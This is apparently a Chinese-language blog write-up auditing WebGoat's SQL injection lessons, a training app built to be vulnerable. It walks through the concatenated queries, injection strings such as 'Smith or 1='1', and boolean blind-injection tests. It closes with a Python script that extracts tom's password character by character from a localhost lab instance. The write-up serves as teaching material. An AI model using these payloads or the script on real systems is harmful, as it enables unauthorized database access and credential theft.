0x00 前言
之前简单的审计了一下登录和注册,说实话有的逻辑看了好久没有怎么看明白,打算先继续看下去后面水平有所提升了再回来看,所以今天我们就先审计Webgoat SQL注入靶场的前面几节
0x01 SQL Lesson 9
前面都是sql注入的介绍,我们直接来看到lesson9,首先请求一下看一下前端请求后端的接口地址
还是像之前一样,全局进行一个搜索,我们首先来看PostMapping那一个代码
看代码发现红框处直接进行了SQL语句的拼接
我们来打个断点分析一下
可以看到我们输入的内容没有经过任何过滤就直接拼接来进去
然后我们再跟进一下injectableQuery,其实就是下面一个方法
可以看到我们传入的参数给了accountName,我们再来打一下断点看看一下accountName的数值是什么
可以看到我们传入的数据直接可以通过引号闭合sql语句的引号
SELECT * FROM user_data WHERE first_name = 'John' and last_name = ' + 'Smith or 1='1 + '
然后就可以看到我们所有的数据都回显出来了
0x02 SQL Lesson 10
同样的发送请求来定位我们后端的接口
然后在代码中进行一个定位 ,定位到如下的片段
由于大体结构都和之前的差不多所以这里就不多赘述了,我们来看到第56行,发现
"SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName
可以看到Login_Count 后面是 ? 这个一看就发现是对数据进行了一个预编译
然后后面的代码会将Login_Count转换成数字类型如果没有出错才会进行后续的操作
然后再进行sql语句的执行
所以这里的注入点事后面的accountname,直接进行了一个拼接,所以我们只需要如下payload即可
0x03 SQL Lesson (adv) 5
我们来到第五关
看到我们的标题目标是 以tom的身份登录进来
我们直接来查看我们的源码,测试一下登录发现请求是发往/WebGoat/SqlInjectionAdvanced/challenge_Login
可以看到我们的SQL语句中userid和password都进行了预编译,所以这里是不存在SQL注入的
这里的代码其实就是执行SQL语句来判断有没有数值
但是还有一个注册功能,我们去看看注册功能,发现在注册的时候进行了参数拼接,直接将username_reg带入到了sql语句
这里在注册的时候会首先将我们输入的用户名进行一个查询,如果查询有结果就会返回user.exists 如果没有的话就会返回user.created
所以我们来看一下我们的SQL注入语句,我们的SQL语句是如下这样的,我们可以通过 \' 闭合前面的符号
"select userid from sql_challenge_users where userid = '" + username_reg + "'"
例如 :
下面是闭合情况,那么我们如果根据回显信息来获取我们需要的tom的密码呢?
select userid from sql_challenge_users where userid ='
+ tom' and '1'='1
+'
我们可以采用类似布尔盲注的思路,前提得知已有tom这个账号
tom' and '1'='2
真 and 假 这样结果就是为假这样的话数据库查询就无法查找出信息,就会执行else语句显示user.created
tom' and '1'='1
真 and 真 这样结果就是为真数据库就会查询出结果,执行if语句回显user.exists
文字有可能不是很清楚我们来看例子:
所以这里我们可以根据消息回显的不同来执行sql语句
我们来打一下断点分析一下
我们先来尝试假的 用户名为 tom' and '1'='2
可以看到直接来到了else这里
回显结果如下
接下来尝试tom' and '1'='1 也就是真的情况 执行了if语句
同时返回信息
所以我们可以利用该特性写一个简单的python脚本来跑我们的密码
import requests
import string
cookies = {}
cookies["JSESSIONID"]="ynf4xx_jMxXI87sBDW2VRtRvZJhdV9tsQXE6kNEF"
enums = string.ascii_lowercase + string.digits + "." + "_" + ","
i = 1
while True:
flag = 0
for value in enums:
sql_value = "tom\' and substring(password,{},1)=\'{}".format(i,value)
url = "http://localhost:8081/WebGoat/SqlInjectionAdvanced/challenge"
put_data = {"username_reg":sql_value,"email_reg":"123@123","password_reg":"test","confirm_password_reg":"test"}
req = requests.put(url,data=put_data,cookies=cookies)
text = req.text
if "already exists" in text:
print(value,end='')
i+=1
flag = 1
if flag == 0:
break